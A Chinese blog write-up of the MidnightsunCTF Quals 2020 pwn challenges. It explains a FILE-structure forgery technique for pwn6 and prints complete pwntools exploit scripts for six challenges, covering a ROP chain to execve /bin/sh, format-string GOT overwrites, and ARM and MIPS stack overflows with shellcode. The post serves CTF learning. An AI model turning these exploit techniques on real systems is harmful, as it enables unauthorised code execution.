MidnightsunCTF Quals 2020 pwn

博客地址
外国人出的题往往比较有特色,相对我国大大小小的比赛尤其是一些堆题,往往都是一个固定的套路,越做最多写脚本的速度快了,其实并没有学到什么新东西。
pwn1,pwn2,pwn4都是简单的题,pwn3是arm栈溢出,pwn5是mips栈溢出,相对于我觉得pwn6比较有学习的地方。

pwn6思路及利用

找漏洞

首先是静态编译程序,运行
在这里插入图片描述
推测关键函数里有addr:字符串,拖进IDA搜索字符串。
在这里插入图片描述
查看字符串引用函数,找到
在这里插入图片描述
定义为main_02,分析程序,输入格式为"%p:%u",其中v6<=7,将v6<<1后填入v7地址指向的值。通过动调得出dword_6D7330值为-1,即只能进行一次任意地址写操作。

思路

1.利用漏洞修改dword_6D7330处值令程序能够循环
2.伪造stdout块来泄露栈地址。
3.伪造stdin块来实现往栈地址写rop
4.跳出循环,执行rop

修改dword_6D7330值

封装函数

	def Inputbase(addr1,addr2):
		p.sendlineafter("\x1B[1maddr:\x1B[m ","{}:{}".format(hex(addr1),addr2))

在这里插入图片描述
关键跳转,将eax大于0x80000001即可实现,则
Inputbase(0x6D7333,7)

伪造stout泄露地址

封装函数

	def Inputaddr(addr1,addr2):#其中addr1为想写的地址,addr2为想写入的值
		for i in range(8):#循环0-7寻找满足1<<i 与 addr2相等的值
			if (1 << i) & addr2:
				Inputbase(addr1,i) #即写入addr2

	def Writeaddr(addr1,addr2): # addr1为想写的地址 addr2为想写的字符串
		for i in range(len(addr2)): # len(addr2)#循环将字符串写入
			Inputaddr(addr1+i,ord(addr2[i]))
	def fakestdout(a, b):
	    return struct.pack('<28Q',
		   0x00000000fbad0800,
		   0x00000000006d53e3,
		   a,       #read_end
		   0x00000000006d53e3,
		   a,       #write_base
		   b,       #write_ptr
		   0x00000000006d53e3,
		   0x00000000006d53e3,
		   0x00000000006d53e4,
		   0, 0, 0, 0, 0,
		   1,
		   0, 0,
		   0x00000000006d7d30,
		   0, 0, 0, 0, 0, 0, 0, 0, 0,
		   0x00000000006d6fe0)

测试poc

static char leakme[] = {'a', 'b', 'c', 'd'};
puts("test");
stdout->_IO_write_base = leakme;
stdout->_IO_write_ptr = &leakme[4];
stdout->_IO_read_end = stdout->_IO_write_base;
puts("test");

打印

test
testabcd

则实现payload

#stdout=0x6D57a0
#stdout=0x6D57a8
Writeaddr(0x6d7360,fakestdout(0x006d7da8,0x006d7db0))#在bss段写入伪造块。0x006d7da8指向栈地址
Inputbase(0x6D57a1,5) #修改0x6D57a0->0x6d7360
stack_addr=u64(p.recv(6).ljust(8,'\x00'))
print "stack_addr=",hex(stack_addr)

将rop写入返回地址

	def fakestdin(a, b):
   		return struct.pack('<28Q',
			   0x00000000fbad208b,
			   0x00000000006d5603, #read_ptr
			   0x00000000006d5603, #read_end
			   0x00000000006d5603,
			   0x00000000006d5603,
			   0x00000000006d5603,
			   0x00000000006d5603,
			   a, #buf_base
			   b, #buf_end
			   0, 0, 0, 0, 0,
			   0,
			   0, 0,
			   0x00000000006d7d40,
			   0, 0, 0, 0, 0, 0, 0, 0, 0,
			   0x00000000006d6fe0)

执行流程,当read_ptr=read_end时,在地址为buf_base处写入长度为buf_end-buf_base个字节的输入。
因为是静态编译,rop由ROPgadget --binary pwn6 --ropchain来生成。

#根据计算,stack_ebp=stack_addr-0x138
Writeaddr(0x6d7580, fakestdin(stack_addr - 0x138, stack_addr + len(rop())))
Inputbase(0x006d57a9, 5)#更改stdin->0x6d7580

跳出循环

p.sendlineafter('addr:', '000000:8' + rop())

exp

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
from struct import pack


context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def Inputbase(addr1,addr2):
		p.sendlineafter("\x1B[1maddr:\x1B[m ","{}:{}".format(hex(addr1),addr2))
	def Inputaddr(addr1,addr2):
		for i in range(8):
			if (1 << i) & addr2:
				Inputbase(addr1,i)
	def Writeaddr(addr1,addr2):
		for i in range(len(addr2)):
			Inputaddr(addr1+i,ord(addr2[i]))
	def fakestdout(a, b):
    		return struct.pack('<28Q',
                       0x00000000fbad0800,
                       0x00000000006d53e3,
                       a,
                       0x00000000006d53e3,
                       a,
                       b,
                       0x00000000006d53e3,
                       0x00000000006d53e3,
                       0x00000000006d53e4,
                       0, 0, 0, 0, 0,
                       1,
                       0, 0,
                       0x00000000006d7d30,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)


	def fakestdin(a, b):
   		return struct.pack('<28Q',
                       0x00000000fbad208b,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       a,
                       b,
                       0, 0, 0, 0, 0,
                       0,
                       0, 0,
                       0x00000000006d7d40,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)
	def rop():
		p=''
		p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
		p += pack('<Q', 0x00000000006d50e0) # @ .data
		p += pack('<Q', 0x00000000004158a4) # pop rax ; ret
		p += '/bin//sh'
		p += pack('<Q', 0x0000000000487b51) # mov qword ptr [rsi], rax ; ret
		p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
		p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
		p += pack('<Q', 0x0000000000444e00) # xor rax, rax ; ret
		p += pack('<Q', 0x0000000000487b51) # mov qword ptr [rsi], rax ; ret
		p += pack('<Q', 0x00000000004006a6) # pop rdi ; ret
		p += pack('<Q', 0x00000000006d50e0) # @ .data
		p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
		p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
		p += pack('<Q', 0x0000000000449af5) # pop rdx ; ret
		p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
		p += pack('<Q', 0x0000000000444e00) # xor rax, rax ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
		p += pack('<Q', 0x000000000040130c) # syscall
		return p
	#gdb.attach(p)
	Inputbase(0x6D7333,7)

	Writeaddr(0x6d7360,fakestdout(0x006d7da8,0x006d7db0))
	Inputbase(0x6D57a1,5)
	stack_addr=u64(p.recv(6).ljust(8,'\x00'))
	print "stack_addr=",hex(stack_addr)
	Writeaddr(0x6d7580, fakestdin(stack_addr - 0x138, stack_addr + len(rop())))
	Inputbase(0x006d57a9, 5)
	p.sendlineafter('addr:', '000000:8' + rop())
	p.interactive()
if __name__ == '__main__':
	pwn('buuoj.cn',20035,1,'./pwn6')

总结

想法奇特,我只做到了实现无限循环后,不知道如何去利用了.tql

参考链接(http://blog.redrocket.club/2020/04/06/midnightsunctf-quals-2020-pwn6/)

其他pwn

pwn1

基本栈溢出,贼拉简单。我exp找不到了,就不贴了。

pwn2

格式化字符串漏洞。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	payload="aa%27$p%2040c%15$hn%32231c%16$hn"+p32(0x804B020+2)+p32(0x804B020)
	p.sendlineafter("input:",payload)
	p.recvuntil("aa0x")
	addr=int(p.recv(8),16)-(0xf7d2e637-0xf7d2e540)
	print "addr=",hex(addr)
	libc=LibcSearcher("__libc_start_main",addr)
	libcbase_addr=addr-libc.dump("__libc_start_main")
	system_addr=libcbase_addr+libc.dump("system")
	sys_addr_0_2=int(str(hex(system_addr))[6:10],16)
	sys_addr_2_4=int(str(hex(system_addr))[2:6],16)
	#gdb.attach(p)#0x80485EB
	payload="aa"+"%"+str(sys_addr_0_2-2)+"c%14$hn"+"%"+str(sys_addr_2_4-sys_addr_0_2)+"c%15$hn"+p32(0x804B00C)+p32(0x804B00C+2)
	print "system_addr=>",hex(system_addr)
	p.sendlineafter("input:",payload)
	p.sendlineafter("input:","/bin/sh")
	p.interactive()
if __name__ == '__main__':
	pwn('pwn6-01.play.midnightsunctf.se',10006,1,'./pwn2')

pwn3

arm栈溢出,是我上一篇博客例题

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
import os

context.log_level = 'debug'
context.arch = 'i386'

p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		#p = process(['qemu-arm','-g','1234',flaag])
		p=process("./pwn3")

	else:
		p = remote(ip,port)
	system_addr=0x01480C
	binsh_addr=0x49018
	pop_r0_r4_pc=0x1fb5c
	payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
	#p.sendline(payload)
	p.sendlineafter("buffer: ",payload)
	p.interactive()
if __name__ == '__main__':
	pwn('pwn3-01.play.midnightsunctf.se',10003,1,'./pwn3')

pwn4

格式化字符串漏洞,%*25$d%16$n可以将偏移为25的值移向偏移为16的地址,这个exp可能运行时间长,毕竟写四个字节。太大了。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	#gdb.attach(p)
	p.recvuntil("user: ")
	p.sendline("%*25$d%16$n")
	p.recvuntil("code: ")
	p.sendline(str(10))
	p.interactive()
if __name__ == '__main__':
	pwn('buuoj.cn',20035,1,'./pwn4')

pwn5

我本地mips挺奇怪的,贴一个官方wp

from pwn import *
import sys

LOCAL = True
if "remote" in sys.argv:
    LOCAL = False


context.clear(log_level='info', arch="mips", os='linux')
elf = ELF("pwn5")

HOST = "pwn5-01.play.midnightsunctf.se"
PORT = 10005


def go():
    if LOCAL:
        # s = process("qemu-mipsel-static -g 1234 ./pwn5".split(" "))
        s = process("qemu-mipsel-static ./pwn5".split(" "))
    else:
        s = remote(HOST, PORT)

    s.recvuntil("data:")

    def set_v0(v0):
        return "".join([
            p32(0x0046f27c), # : lw $v0, 0x20($sp) ; lw $ra, 0x2c($sp) ; jr $ra ; addiu $sp, $sp, 0x30
            "X"*0x20,
            p32(v0),
            "Z"*0x8,
        ])

    shellcode_addr = elf.bss(0x100)
    scanf_addr = 0x400758
    ROP = "".join([
        set_v0(shellcode_addr),
        p32(scanf_addr),
    ])

    payload = "A"*64 + p32(elf.bss(0x200)) + ROP
    print "Payload:", payload
    s.sendline(payload)

    mips_shellcode = asm("""
        xor $a1, $a1
        xor $a2, $a2

        addiu $a0, $a0, -8 # This will point to /bin/sh

        li $v0, 4011 # execve syscall
        j 0x4068bc # syscall gadget
        nop
    """)
    print disasm(mips_shellcode)

    # The bytes that will stop scanf from reading
    assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])

    payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
    payload_2 = payload_2.ljust(1132-8, "Z") + "/bin/sh"
    s.sendline(payload_2)

    s.interactive()

go()

猜你喜欢

转载自blog.csdn.net/qq_43116977/article/details/105413284
pwn